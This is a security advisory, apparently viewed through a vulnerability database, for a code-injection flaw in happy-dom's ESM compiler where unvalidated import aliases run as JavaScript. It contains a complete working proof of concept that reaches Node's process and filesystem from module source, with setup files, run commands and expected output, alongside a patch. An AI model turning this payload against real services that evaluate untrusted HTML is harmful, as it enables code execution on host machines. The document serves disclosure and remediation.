GHSA-834V-8H66-3H79
Vulnerability from github – Published: 2026-10-23 22:06 – Updated: 2026-10-23 22:06Summary
The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
happy-dom@17.0.0happy-dom@20.0.0happy-dom@20.1.0happy-dom@20.14.5
The same PoC does not trigger on happy-dom@16.8.1.
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
2. Create dep.json
{}
3. Create payload.mjs
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
node poc.mjs
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
export { attacker_expression }
Its fix added identifier validation to the importName used by the export { ... } handler:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
This report uses a different parsing and code-generation path:
import { name as malicious_alias } from './module';
The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Suggested fix
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
Verification record
- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js:
24.14.1 - Latest tested package:
happy-dom@20.14.5 - Source tag:
v20.14.5 - Source commit:
0d4cdbe7442af49d16b49ddf1acf7cc9684ed318 - First confirmed affected version:
17.0.0 - Confirmed unaffected version:
16.8.1 - Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 21.0.3"
},
"package": {
"ecosystem": "npm",
"name": "happy-dom"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0"
},
{
"fixed": "21.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115895"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T22:06:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.\n\nAs a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.\n\nThis appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.\n\nThese issues were confirmed through the public `Window` and `\u003cscript type=\"module\"\u003e` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.\n\n## Confirmed affected versions\n\nThe PoC was directly tested against:\n\n- `happy-dom@17.0.0`\n- `happy-dom@20.0.0`\n- `happy-dom@20.1.0`\n- `happy-dom@20.14.5`\n\nThe same PoC does not trigger on `happy-dom@16.8.1`.\n\nThe ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.\n\nSuggested affected range:\n\n```text\n\u003e= 17.0.0, \u003c= 20.14.5\n```\n\nNo patched version is currently available.\n\n## Preconditions\n\n- JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`.\n- Attacker-controlled HTML or module source is processed by Happy DOM.\n- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.\n\n## Technical details\n\nIn `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias:\n\n```ts\nconst nameParts = part.trim().split(/\\s+as\\s+/);\nconst alias = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\nconst name = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027);\n\nif (alias \u0026\u0026 name) {\n properties.push({ name, alias });\n}\n```\n\nUnlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier.\n\nIt is subsequently inserted directly into generated binding syntax:\n\n```ts\nnewCodeStart += `let {${properties\n .map((property) =\u003e\n property.alias\n ? `\"${property.name}\": ${property.alias}`\n : property.name\n )\n .join(\u0027, \u0027)}} = $happy_dom.imports.get(\u0027${url}\u0027)${match[8]}`;\n```\n\nConsider the following source:\n\n```js\nimport {\n missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from \u0027./dep.json\u0027 with { type: \u0027json\u0027 };\n```\n\nThis is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.\n\nHappy DOM instead transforms it into the equivalent of:\n\n```js\nlet {\n \"missing\": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} = $happy_dom.imports.get(\u0027https://poc.local/dep.json\u0027);\n```\n\nThis generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.\n\nThe `with { type: \u0027json\u0027 }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:\n\n```ts\nif (!match[7] || match[7] === \u0027esm\u0027) {\n resolvableCircularImports.push({ url, properties });\n}\n```\n\nUsing a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.\n\nBacktick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:\n\n```js\nglobalThis.constructor.constructor(`return process`)()\n .getBuiltinModule(`node:fs`)\n .mkdirSync(\n globalThis.constructor.constructor(`return process`)().cwd() +\n `/HAPPY_DOM_RCE_PROOF`\n )\n```\n\n## Proof of concept\n\nThe following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.\n\n### 1. Create `package.json`\n\n```json\n{\n \"name\": \"happy-dom-import-alias-rce-poc\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"happy-dom\": \"20.14.5\"\n }\n}\n```\n\n### 2. Create `dep.json`\n\n```json\n{}\n```\n\n### 3. Create `payload.mjs`\n\nThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:\n\n```js\nimport {\n missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from \u0027./dep.json\u0027 with { type: \u0027json\u0027 };\n```\n\n### 4. Create `poc.mjs`\n\n```js\nimport { Window } from \u0027happy-dom\u0027;\nimport { existsSync, rmSync } from \u0027node:fs\u0027;\nimport { resolve } from \u0027node:path\u0027;\n\nconst proofDirectory = resolve(\u0027HAPPY_DOM_RCE_PROOF\u0027);\nrmSync(proofDirectory, { recursive: true, force: true });\n\nconst window = new Window({\n url: \u0027https://poc.local/\u0027,\n settings: {\n enableJavaScriptEvaluation: true,\n suppressCodeGenerationFromStringsWarning: true,\n fetch: {\n virtualServers: [\n {\n url: \u0027https://poc.local/\u0027,\n directory: process.cwd()\n }\n ]\n }\n }\n});\n\nconst script = window.document.createElement(\u0027script\u0027);\nscript.type = \u0027module\u0027;\n\nscript.textContent = `\n import {\n missing as injected = globalThis.constructor.constructor(\\`return process\\`)()\n .getBuiltinModule(\\`node:fs\\`)\n .mkdirSync(\n globalThis.constructor.constructor(\\`return process\\`)().cwd() +\n \\`/HAPPY_DOM_RCE_PROOF\\`\n )\n } from \u0027./dep.json\u0027 with { type: \u0027json\u0027 };\n`;\n\nwindow.document.body.appendChild(script);\nawait window.happyDOM.waitUntilComplete();\n\nif (!existsSync(proofDirectory)) {\n console.error(\u0027[-] Exploit failed: proof directory was not created.\u0027);\n console.error(\n window.happyDOM.virtualConsolePrinter.readAsString()\n );\n process.exitCode = 1;\n} else {\n console.log(`[+] Host filesystem reached: ${proofDirectory}`);\n}\n\nawait window.happyDOM.close();\n```\n\n### 5. Run the control test\n\n```console\nnpm install\nnode --check payload.mjs\n```\n\nExpected result:\n\n```text\nSyntaxError: Unexpected token \u0027=\u0027\n```\n\nThis confirms that the source is not valid ESM.\n\n### 6. Run the Happy DOM PoC\n\n```console\nnode poc.mjs\n```\n\nExpected result:\n\n```text\n[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF\n```\n\nThe existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.\n\nThe PoC was also verified inside a `node:24-alpine` Docker container, where it created:\n\n```text\n/poc/HAPPY_DOM_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.\n\nThis may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.\n\nThe demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.\n\n## Relationship to CVE-2026-33943\n\nCVE-2026-33943 covers expression injection through a local export declaration:\n\n```js\nexport { attacker_expression }\n```\n\nIts fix added identifier validation to the `importName` used by the `export { ... }` handler:\n\n```ts\nif (\n exportName \u0026\u0026\n importName \u0026\u0026\n VALID_VARIABLE_NAME_REGEXP.test(importName)\n) {\n // ...\n}\n```\n\nThis report uses a different parsing and code-generation path:\n\n```js\nimport { name as malicious_alias } from \u0027./module\u0027;\n```\n\nThe unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.\n\nThe issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`.\n\n## Suggested fix\n\nValidate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:\n\n```diff\n- if (alias \u0026\u0026 name) {\n+ if (alias \u0026\u0026 name \u0026\u0026 VALID_VARIABLE_NAME_REGEXP.test(alias)) {\n```\n\nA regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.\n\nThis change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors.\n\nFor additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation.\n\n## Verification record\n\n- Testing date: 2026-09-17\n- Duplicate check updated: 2026-09-20\n- Platform: Windows 11\n- Node.js: `24.14.1`\n- Latest tested package: `happy-dom@20.14.5`\n- Source tag: `v20.14.5`\n- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`\n- First confirmed affected version: `17.0.0`\n- Confirmed unaffected version: `16.8.1`\n- Docker environment: Node 24 Alpine\n- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.",
"id": "GHSA-834v-8h66-3h79",
"modified": "2026-10-23T22:06:13Z",
"published": "2026-10-23T22:06:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/pull/2537"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13"
},
{
"type": "PACKAGE",
"url": "https://github.com/capricorn86/happy-dom"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.